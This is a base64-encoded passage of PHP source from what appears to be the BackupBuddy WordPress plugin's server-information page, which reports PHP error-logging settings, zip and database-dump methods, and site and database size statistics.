9PiAnUEhQIEVycm9yIExvZ2dpbmcgKGxvZ19lcnJvcnMpJywKCSdzdWdnZXN0aW9uJyA9PiAnZW5hYmxlZCcsCgkndmFsdWUnICAgICAgPT4gJHBhcmVudF9jbGFzc192YWwgLiAnIFs8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIGNsYXNzPSJwYl9iYWNrdXBidWRkeV90ZXN0RXJyb3JMb2ciIHJlbD0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3Rlc3RFcnJvckxvZycgKSAuICciIHRpdGxlPSInIC4gX18oICdUZXN0aW5nIHRoaXMgd2lsbCB0cmlnZ2VyIGFuIGVycm9yX2xvZygpIGV2ZW50IHdpdGggdGhlIGNvbnRlbnQgIkJhY2t1cEJ1ZGR5IFRlc3QgLSBUaGlzIGlzIG9ubHkgYSB0ZXN0LiBBIHVzZXIgdHJpZ2dlcmVkIEJhY2t1cEJ1ZGR5IHRvIGRldGVybWluZSBpZiB3cml0aW5nIHRvIHRoZSBQSFAgZXJyb3IgbG9nIGlzIHdvcmtpbmcgYXMgZXhwZWN0ZWQuIicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyI+VGVzdDwvYT5dJywKCSd0aXAnICAgICAgICA9PiBfXyggJ1doZXRoZXIgb3Igbm90IFBIUCBlcnJvcnMgYXJlIGxvZ2dlZCB0byBhIGZpbGUgb3Igbm90LiBTZXQgYnkgcGhwLmluaSBsb2dfZXJyb3JzJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CiRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCi8vIEVSUk9SIExPRyBGSUxFLgppZiAoICEgaW5pX2dldCggJ2Vycm9yX2xvZycgKSApIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ3Vua25vd24nOwp9IGVsc2UgewoJJHBhcmVudF9jbGFzc192YWwgPSBpbmlfZ2V0KCAnZXJyb3JfbG9nJyApOwp9CiRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCSd0aXRsZScgICAgICA9PiAnUEhQIEVycm9yIExvZyBGaWxlIChlcnJvcl9sb2cpJywKCSdzdWdnZXN0aW9uJyA9PiAnbi9hJywKCSd2YWx1ZScgICAgICA9PiAnPHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazsgbWF4LXdpZHRoOiAyNTBweDsiPicgLiAkcGFyZW50X2NsYXNzX3ZhbCAuICc8L3NwYW4+JywKCSd0aXAnICAgICAgICA9PiBfXyggJ0ZpbGUgd2hlcmUgUEhQIGVycm9ycyBhcmUgbG9nZ2VkIHRvIGlmIFBIUCBFcnJvciBMb2dnaW5nIGlzIGVuYWJsZWQgKHJlY29tbWVuZGVkKS4gU2V0IGJ5IHBocC5pbmkgZXJyb3JfbG9nJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCik7CiRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwphcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCi8vIERJU1BMQVlfRVJST1JTIFNFVFRJTkcuCmlmICggdHJ1ZSA9PSBpbmlfZ2V0KCAnZGlzcGxheV9lcnJvcnMnICkgKSB7CgkkcGFyZW50X2NsYXNzX3ZhbCA9ICdlbmFibGVkJzsKfSBlbHNlIHsKCSRwYXJlbnRfY2xhc3NfdmFsID0gJ2Rpc2FibGVkJzsKfQokcGFyZW50X2NsYXNzX3Rlc3QgICAgICAgICAgID0gYXJyYXkoCgkndGl0bGUnICAgICAgPT4gJ1BIUCBEaXNwbGF5IEVycm9ycyB0byBTY3JlZW4gKGRpc3BsYXlfZXJyb3JzKScsCgknc3VnZ2VzdGlvbicgPT4gJ2Rpc2FibGVkJywKCSd2YWx1ZScgICAgICA9PiAkcGFyZW50X2NsYXNzX3ZhbCwKCSd0aXAnICAgICAgICA9PiBfXyggJ1doZXRoZXIgb3Igbm90IFBIUCBlcnJvcnMgYXJlIGRpc3BsYXllZCBvbiBzY3JlZW4gdG8gdGhlIHVzZXIuIFRoaXMgaXMgdXNlZnVsIGZvciB0cm91Ymxlc2hvb3RpbmcgUEhQIHByb2JsZW1zIGJ1dCBkaXNhYmxpbmcgYnkgZGVmYXVsdCBpcyBtb3JlIHNlY3VyZSBmb3IgcHJvZHVjdGlvbi4gU2V0IGJ5IHBocC5pbmkgZGlzcGxheV9lcnJvcnMnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKKTsKJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CmFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKaWYgKCBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgKSB7CglpZiAoICEgaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXSApICkgewoJCXJlcXVpcmVfb25jZSBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvbGliL3ppcGJ1ZGR5L3ppcGJ1ZGR5LnBocCc7CgkJcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddID0gbmV3IHBsdWdpbmJ1ZGR5X3ppcGJ1ZGR5KCBBQlNQQVRIICk7Cgl9Cn0KJHppcF9tZXRob2RzID0gaW1wbG9kZSggJywgJywgcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWyd6aXBidWRkeSddLT5femlwX21ldGhvZHMgKTsKCmlmICggISBkZWZpbmVkKCAnUEJfSU1QT1JUQlVERFknICkgKSB7CgkkemlwbWV0aG9kX3JlZnJlc2ggPSAnPGEgY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X3JlZnJlc2hfc3RhdHMiIHJlbD0icmVmcmVzaF96aXBfbWV0aG9kcyIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncmVmcmVzaF96aXBfbWV0aG9kcycgKSAuICciIHRpdGxlPSInIC4gX18oICdSZWZyZXNoJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9yZWZyZXNoX2dyYXkuZ2lmIiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0xcHg7Ij4gPHNwYW4gY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyBtYXJnaW4tbGVmdDogMTBweDsiPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL2xvYWRpbmcuZ2lmIiBhbHQ9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHRpdGxlPSInIC4gX18oICdMb2FkaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTNweDsiIC8+PC9zcGFuPjwvYT4nOwp9IGVsc2UgewoJJHppcG1ldGhvZF9yZWZyZXNoID0gJyc7Cn0KJHBhcmVudF9jbGFzc190ZXN0ID0gYXJyYXkoCgkndGl0bGUnICAgICAgPT4gJ1ppcCBNZXRob2RzJywKCSdzdWdnZXN0aW9uJyA9PiAnQ29tbWFuZCBsaW5lIFtmYXN0ZXN0XSA+IHppcGFyY2hpdmUgPiBQSFAtYmFzZWQgKHBjbHppcCkgW3Nsb3dlc3RdJywKCSd2YWx1ZScgICAgICA9PiAnPHNwYW4gaWQ9InBiX3N0YXRzX3JlZnJlc2hfemlwX21ldGhvZHMiPicgLiAkemlwX21ldGhvZHMgLiAnPC9zcGFuPiAnIC4gJHppcG1ldGhvZF9yZWZyZXNoLAoJJ3RpcCcgICAgICAgID0+IF9fKCAnTWV0aG9kcyB5b3VyIHNlcnZlciBzdXBwb3J0cyBmb3IgY3JlYXRpbmcgWklQIGZpbGVzLiBUaGVzZSB3ZXJlIHRlc3RlZCAmIHZlcmlmaWVkIHRvIG9wZXJhdGUuIENvbW1hbmQgbGluZSBpcyBtYWduaXR1ZGVzIGJldHRlciB0aGFuIG90aGVyIG1ldGhvZHMgYW5kIG9wZXJhdGVzIHZpYSBleGVjKCkgb3Igb3RoZXIgZXhlY3V0aW9uIGZ1bmN0aW9ucy4gWmlwQXJjaGl2ZSBpcyBhIFBIUCBleHRlbnNpb24uIFBIUC1iYXNlZCBaSVAgY29tcHJlc3Npb24vZXh0cmFjdGlvbiBpcyBwZXJmb3JtZWQgdmlhIGEgUEhQIHNjcmlwdCBjYWxsZWQgcGNsemlwIGJ1dCBpdCBpcyBzbG93ZXIgYW5kIGNhbiBiZSBtZW1vcnkgaW50ZW5zaXZlLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAopOwppZiAoIGluX2FycmF5KCAnZXhlYycsIHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snemlwYnVkZHknXS0+X3ppcF9tZXRob2RzICkgKSB7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKfSBlbHNlIHsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cn0KYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgppZiAoICEgZGVmaW5lZCggJ1BCX0lNUE9SVEJVRERZJyApICkgewoKCSRwYXJlbnRfY2xhc3NfdGVzdCA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnRGF0YWJhc2UgRHVtcCBNZXRob2RzJywKCQknc3VnZ2VzdGlvbicgPT4gJ0NvbW1hbmQgbGluZSBhbmQvb3IgUEhQLWJhc2VkJywKCQkndmFsdWUnICAgICAgPT4gaW1wbG9kZSggJywgJywgcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWydteXNxbGJ1ZGR5J10tPmdldF9tZXRob2RzKCkgKSwKCQkndGlwJyAgICAgICAgPT4gX18oICdNZXRob2RzIHlvdXIgc2VydmVyIHN1cHBvcnRzIGZvciBkdW1waW5nIChiYWNraW5nIHVwKSB5b3VyIG15c3FsIGRhdGFiYXNlLiBUaGVzZSB3ZXJlIHRlc3RlZCB2YWx1ZXMgdW5sZXNzIGNvbXBhdGliaWxpdHkgLyB0cm91Ymxlc2hvb3Rpbmcgc2V0dGluZ3Mgb3ZlcnJpZGUuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJJGRiX21ldGhvZHMgICAgICAgID0gcGJfYmFja3VwYnVkZHk6OiRjbGFzc2VzWydteXNxbGJ1ZGR5J10tPmdldF9tZXRob2RzKCk7CglpZiAoIGluX2FycmF5KCAnY29tbWFuZGxpbmUnLCAkZGJfbWV0aG9kcyApIHx8IGluX2FycmF5KCAncGhwJywgJGRiX21ldGhvZHMgKSApIHsgLy8gUEhQIGlzIGNvbnNpZGVyZWQganVzdCBhcyBnb29kIGFzIG9mIEJCIHY1LjAuCgkJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7Cgl9IGVsc2UgewoJCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnV0FSTklORyc7Cgl9CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgkvLyBTaXRlIFNpemUuCglpZiAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9zaXplJ10gPiAwICkgewoJCSRzaXRlX3NpemUgPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ3NpdGVfc2l6ZSddICk7Cgl9IGVsc2UgewoJCSRzaXRlX3NpemUgPSAnPGk+VW5rbm93bjwvaT4nOwoJfQoJJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnU2l0ZSBTaXplJywKCQknc3VnZ2VzdGlvbicgPT4gJ24vYScsCgkJJ3ZhbHVlJyAgICAgID0+ICc8c3BhbiBpZD0icGJfc3RhdHNfcmVmcmVzaF9zaXRlX3NpemUiPicgLiAkc2l0ZV9zaXplIC4gJzwvc3Bhbj4gPGEgY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X3JlZnJlc2hfc3RhdHMiIHJlbD0icmVmcmVzaF9zaXRlX3NpemUiIGFsdD0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3JlZnJlc2hfc2l0ZV9zaXplJyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ1JlZnJlc2gnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL3JlZnJlc2hfZ3JheS5naWYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTFweDsiPiA8c3BhbiBjbGFzcz0icGJfYmFja3VwYnVkZHlfbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvbG9hZGluZy5naWYiIGFsdD0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtM3B4OyIgLz48L3NwYW4+PC9hPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnVG90YWwgc2l6ZSBvZiB5b3VyIHNpdGUgKHN0YXJ0aW5nIGluIHlvdXIgV29yZFByZXNzIG1haW4gZGlyZWN0b3J5KSBJTkNMVURJTkcgYW55IGV4Y2x1ZGVkIGRpcmVjdG9yaWVzIC8gZmlsZXMuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICksCgkpOwoJJHBhcmVudF9jbGFzc190ZXN0WydzdGF0dXMnXSA9ICdPSyc7CglhcnJheV9wdXNoKCAkdGVzdHMsICRwYXJlbnRfY2xhc3NfdGVzdCApOwoKCgkvLyBTaXRlIHNpemUgV0lUSCBFWENMVVNJT05TIGFjY291bnRlZCBmb3IuCglpZiAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9zaXplX2V4Y2x1ZGVkJ10gPiAwICkgewoJCSRzaXRlX3NpemVfZXhjbHVkZWQgPSBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ3NpdGVfc2l6ZV9leGNsdWRlZCddICk7Cgl9IGVsc2UgewoJCSRzaXRlX3NpemVfZXhjbHVkZWQgPSAnPGk+VW5rbm93bjwvaT4nOwoJfQoJJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnU2l0ZSBTaXplIChEZWZhdWx0IEV4Y2x1c2lvbnMgYXBwbGllZCknLAoJCSdzdWdnZXN0aW9uJyA9PiAnbi9hJywKCQkndmFsdWUnICAgICAgPT4gJzxzcGFuIGlkPSJwYl9zdGF0c19yZWZyZXNoX3NpdGVfc2l6ZV9leGNsdWRlZCI+JyAuICRzaXRlX3NpemVfZXhjbHVkZWQgLiAnPC9zcGFuPiA8YSBjbGFzcz0icGJfYmFja3VwYnVkZHlfcmVmcmVzaF9zdGF0cyIgcmVsPSJyZWZyZXNoX3NpdGVfc2l6ZV9leGNsdWRlZCIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncmVmcmVzaF9zaXRlX3NpemVfZXhjbHVkZWQnICkgLiAnIiB0aXRsZT0iJyAuIF9fKCAnUmVmcmVzaCcsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvcmVmcmVzaF9ncmF5LmdpZiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtMXB4OyI+IDxzcGFuIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9sb2FkaW5nIiBzdHlsZT0iZGlzcGxheTogbm9uZTsgbWFyZ2luLWxlZnQ6IDEwcHg7Ij48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9sb2FkaW5nLmdpZiIgYWx0PSInIC4gX18oICdMb2FkaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiB0aXRsZT0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgd2lkdGg9IjE2IiBoZWlnaHQ9IjE2IiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0zcHg7IiAvPjwvc3Bhbj48L2E+JywKCQkndGlwJyAgICAgICAgPT4gX18oICdUb3RhbCBzaXplIG9mIHlvdXIgc2l0ZSAoc3RhcnRpbmcgaW4geW91ciBXb3JkUHJlc3MgbWFpbiBkaXJlY3RvcnkpIEVYQ0xVRElORyBhbnkgZGlyZWN0b3JpZXMgLyBmaWxlcyB5b3UgaGF2ZSBtYXJrZWQgZm9yIGV4Y2x1c2lvbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCS8vIFNpdGUgT2JqZWN0cy4KCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9vYmplY3RzJ10gKSAmJiAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9vYmplY3RzJ10gPiAwICkgKSB7CgkJJHNpdGVfb2JqZWN0cyA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9vYmplY3RzJ107Cgl9IGVsc2UgewoJCSRzaXRlX29iamVjdHMgPSAnPGk+VW5rbm93bjwvaT4nOwoJfQoJJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnU2l0ZSBudW1iZXIgb2YgZmlsZXMnLAoJCSdzdWdnZXN0aW9uJyA9PiAnbi9hJywKCQkndmFsdWUnICAgICAgPT4gJzxzcGFuIGlkPSJwYl9zdGF0c19yZWZyZXNoX29iamVjdHMiPicgLiAkc2l0ZV9vYmplY3RzIC4gJzwvc3Bhbj4gPGEgY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X3JlZnJlc2hfc3RhdHMiIHJlbD0icmVmcmVzaF9vYmplY3RzIiBhbHQ9IicgLiBwYl9iYWNrdXBidWRkeTo6YWpheF91cmwoICdyZWZyZXNoX3NpdGVfb2JqZWN0cycgKSAuICciIHRpdGxlPSInIC4gX18oICdSZWZyZXNoJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIj48aW1nIHNyYz0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fdXJsKCkgLiAnL2ltYWdlcy9yZWZyZXNoX2dyYXkuZ2lmIiBzdHlsZT0idmVydGljYWwtYWxpZ246IC0xcHg7Ij4gPHNwYW4gY2xhc3M9InBiX2JhY2t1cGJ1ZGR5X2xvYWRpbmciIHN0eWxlPSJkaXNwbGF5OiBub25lOyBtYXJnaW4tbGVmdDogMTBweDsiPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL2xvYWRpbmcuZ2lmIiBhbHQ9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHRpdGxlPSInIC4gX18oICdMb2FkaW5nLi4uJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnIiB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTNweDsiIC8+PC9zcGFuPjwvYT4nLAoJCSd0aXAnICAgICAgICA9PiBfXyggJ1RvdGFsIG51bWJlciBvZiBmaWxlcy9mb2xkZXJzIGluIHlvdXIgc2l0ZSAoc3RhcnRpbmcgaW4geW91ciBXb3JkUHJlc3MgbWFpbiBkaXJlY3RvcnkpIElOQ0xVRElORyBhbnkgZXhjbHVkZWQgZGlyZWN0b3JpZXMgLyBmaWxlcy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCS8vIFNpdGUgb2JqZWN0cyBXSVRIIEVYQ0xVU0lPTlMgYWNjb3VudGVkIGZvci4KCSRzaXRlX29iamVjdHNfZXhjbHVkZWQgPSAnPGk+VW5rbm93bjwvaT4nOwoJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydzaXRlX29iamVjdHNfZXhjbHVkZWQnXSApICYmIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnc2l0ZV9vYmplY3RzX2V4Y2x1ZGVkJ10gPiAwICkgewoJCSRzaXRlX29iamVjdHNfZXhjbHVkZWQgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3N0YXRzJ11bJ3NpdGVfb2JqZWN0c19leGNsdWRlZCddOwoJfQoJJHBhcmVudF9jbGFzc190ZXN0ICAgICAgICAgICA9IGFycmF5KAoJCSd0aXRsZScgICAgICA9PiAnU2l0ZSBudW1iZXIgb2YgZmlsZXMgKERlZmF1bHQgRXhjbHVzaW9ucyBhcHBsaWVkKScsCgkJJ3N1Z2dlc3Rpb24nID0+ICduL2EnLAoJCSd2YWx1ZScgICAgICA9PiAnPHNwYW4gaWQ9InBiX3N0YXRzX3JlZnJlc2hfb2JqZWN0c19leGNsdWRlZCI+JyAuICRzaXRlX29iamVjdHNfZXhjbHVkZWQgLiAnPC9zcGFuPiA8YSBjbGFzcz0icGJfYmFja3VwYnVkZHlfcmVmcmVzaF9zdGF0cyIgcmVsPSJyZWZyZXNoX29iamVjdHNfZXhjbHVkZWQiIGFsdD0iJyAuIHBiX2JhY2t1cGJ1ZGR5OjphamF4X3VybCggJ3JlZnJlc2hfc2l0ZV9vYmplY3RzX2V4Y2x1ZGVkJyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ1JlZnJlc2gnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL3JlZnJlc2hfZ3JheS5naWYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTFweDsiPiA8c3BhbiBjbGFzcz0icGJfYmFja3VwYnVkZHlfbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvbG9hZGluZy5naWYiIGFsdD0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtM3B4OyIgLz48L3NwYW4+PC9hPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnVG90YWwgbnVtYmVyIG9mIGZpbGVzL2ZvbGRlcnMgc2l0ZSAoc3RhcnRpbmcgaW4geW91ciBXb3JkUHJlc3MgbWFpbiBkaXJlY3RvcnkpIEVYQ0xVRElORyBhbnkgZGlyZWN0b3JpZXMgLyBmaWxlcyB5b3UgaGF2ZSBtYXJrZWQgZm9yIGV4Y2x1c2lvbi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwKCSk7CgkkcGFyZW50X2NsYXNzX3Rlc3RbJ3N0YXR1cyddID0gJ09LJzsKCWFycmF5X3B1c2goICR0ZXN0cywgJHBhcmVudF9jbGFzc190ZXN0ICk7CgoKCS8vIERhdGFiYXNlIFNpemUuCgkkcGFyZW50X2NsYXNzX3Rlc3QgICAgICAgICAgID0gYXJyYXkoCgkJJ3RpdGxlJyAgICAgID0+ICdEYXRhYmFzZSBTaXplJywKCQknc3VnZ2VzdGlvbicgPT4gJ24vYScsCgkJJ3ZhbHVlJyAgICAgID0+ICc8c3BhbiBpZD0icGJfc3RhdHNfcmVmcmVzaF9kYXRhYmFzZV9zaXplIj4nIC4gcGJfYmFja3VwYnVkZHk6OiRmb3JtYXQtPmZpbGVfc2l6ZSggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydzdGF0cyddWydkYl9zaXplJ10gKSAuICc8L3NwYW4+IDxhIGNsYXNzPSJwYl9iYWNrdXBidWRkeV9yZWZyZXNoX3N0YXRzIiByZWw9InJlZnJlc2hfZGF0YWJhc2Vfc2l6ZSIgYWx0PSInIC4gcGJfYmFja3VwYnVkZHk6OmFqYXhfdXJsKCAncmVmcmVzaF9kYXRhYmFzZV9zaXplJyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ1JlZnJlc2gnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciPjxpbWcgc3JjPSInIC4gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl91cmwoKSAuICcvaW1hZ2VzL3JlZnJlc2hfZ3JheS5naWYiIHN0eWxlPSJ2ZXJ0aWNhbC1hbGlnbjogLTFweDsiPiA8c3BhbiBjbGFzcz0icGJfYmFja3VwYnVkZHlfbG9hZGluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IG1hcmdpbi1sZWZ0OiAxMHB4OyI+PGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvbG9hZGluZy5naWYiIGFsdD0iJyAuIF9fKCAnTG9hZGluZy4uLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJyIgdGl0bGU9IicgLiBfXyggJ0xvYWRpbmcuLi4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAtM3B4OyIgLz48L3NwYW4+PC9hPicsCgkJJ3RpcCcgICAgICAgID0+IF9fKCAnVG90YWwgc2l6ZSBvZiB5b3VyIGRhdGFiYXNlIElOQ0xVRElORyBhbnkgZXhjbHVkZWQgdGFibGVzLicsICdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApLAoJKTsKCSRwYXJlbnRfY2xhc3NfdGVzdFsnc3RhdHVzJ10gPSAnT0snOwoJYXJyYXlfcHVzaCggJHRlc3RzLCAkcGFyZW50X2NsYXNzX3Rlc3QgKTsKCgoJLy8gRGF0YWJhc2Ugc2l6ZSBXSVRIIEVYQ0xVU0lPTlMgYWNjb3VudGVkIGZvci4KCSRwYXJlbnRfY2xhc3NfdGVzdCAgICAgICAgICAgPSBhcnJheSgKCQkndGl0bGUnICAgICAgPT4gJ0RhdGFiYXNlIFNpemUgKERlZmF1bHQgRXhjbHVzaW9ucyBhcHBsaWVkKScsCgkJJ3N1Z2dlc3Rpb24nID0+ICduL2EnLAoJCSd2YWx1ZScgICAgICA9PiAnPHNwYW4gaWQ9InBiX3N0YXRzX3JlZnJlc2hfZGF0YWJhc2Vfc2l6ZV9leGNsdWRlZCI+JyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5maWxlX3NpemUoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snc3RhdHMnXVsnZGJfc2l6ZV9leGNsdWRlZCddICkgLiAnPC9zcGFuPiA8YSBjbGFzcz0icGJfYmFja3VwYnVkZHlfcmVmcmVzaF9zdGF0cyIgcmVsPSJyZWZyZXNoX2RhdGFiYXNlX3NpemVfZXhjbHVkZWQiI